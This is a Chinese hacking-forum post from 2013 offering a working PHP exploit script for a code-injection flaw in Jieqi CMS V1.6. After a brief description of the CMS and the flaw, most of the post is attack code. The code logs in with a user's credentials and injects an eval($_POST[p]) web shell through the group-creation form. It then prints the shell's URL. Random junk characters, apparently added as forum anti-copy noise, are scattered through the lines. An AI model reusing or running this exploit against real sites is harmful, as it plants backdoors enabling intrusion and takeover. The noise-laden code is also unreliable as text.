找回密码
 立即注册
查看: 2375|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。/ p& w5 M9 `5 K; w6 b: U

0 M& a  B0 H& U( y+ k
5 U1 E* L4 p5 X0 U# z. J该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。% F: a* D7 s4 f9 f
需要有一个能创建圈子的用户。
4 F; n; ~& H2 k' e, ?
# ^6 `, ^/ }/ s<?php
! e5 q9 `  R2 Q  v# ?! c
# L9 C5 g% w/ v* @' eprint_r('2 k/ P- P3 c; T% h4 O' i$ C; W
+---------------------------------------------------------------------------+
8 S5 _# Y; H& zJieqi CMS V1.6 PHP Code Injection Exploit
/ ~5 M/ w6 n- L2 t/ Yby flyh4t
4 p' O8 L" g. w. `  V2 Z) T; jmail: phpsec at hotmail dot com' [7 M4 [3 Q; c: ?: {4 E
team: http://www.wolvez.org7 i* M) i* G- Z1 [, ]) D$ h! C: N2 P9 }
+---------------------------------------------------------------------------+
0 v" k# z! b; Y. S/ @'); /**
) @1 G" d' v+ p2 }8 }4 ~ * works regardless of php.ini settings
3 N. ]1 U* \" a4 `1 Y9 l$ y*/ if ($argc < 5) { print_r('. E2 Y; \( D8 ?. Q$ G/ I
+---------------------------------------------------------------------------+
# }, B" W+ b, G' ]$ aUsage: php '.$argv[0].' host path username
- {" A/ k' n, W: \# \/ X+ z3 ^host:      target server (ip/hostname)
: D% h) |. `. Z, N- upath:      path to jieqicms
# x3 N. h# M% a- j' Quasename:  a username who can create group
+ f& V# Z: S" q) c- V& zExample:9 a9 O) S% B/ {& E1 t7 ]
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password) P; k# r* r# h. I+ w5 K) P5 X7 R
+---------------------------------------------------------------------------+
8 T7 Y! w: j! c) w5 c'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
$ [6 Z* w( K: K7 wContent-Disposition: form-data; name="gname"# e- P: D( n+ w; q: t- U

5 Y* V) J- n4 t  V% W& c'; $params .="';"; $params .='eval($_POST[p]);//flyh4t' f( M3 y) H. m3 D  b
-----------------------------23281168279961: E4 c: @+ J9 ~! e. H6 C9 _. }$ s+ N
Content-Disposition: form-data; name="gcatid"$ x- B( i' J  g, f6 |

+ j4 j  A0 ^1 h: y% J& Y1
  _* s! j/ d* a% T- i1 m" \+ z-----------------------------23281168279961) Z& e$ V3 |9 L0 m! Y+ {0 p8 z
Content-Disposition: form-data; name="gaudit"
- h4 S- A) v7 i$ C4 b* `7 l* Z! J * g+ Q0 }5 h* C% `" U% g
17 @" J" y. n8 U  O
-----------------------------23281168279961
6 V7 B+ ^# t6 {: m' A) eContent-Disposition: form-data; name="gbrief"
! B2 B2 Q6 e" A; Z! G1 ? ! ~7 X% ^+ n! W8 C
1
0 D- b) O7 i; `9 U' e/ l6 |8 d-----------------------------23281168279961--
) T0 }9 D5 r  \/ X'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com) o1 i; D2 z. B; v
; u9 W- [% }. P- s  [
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表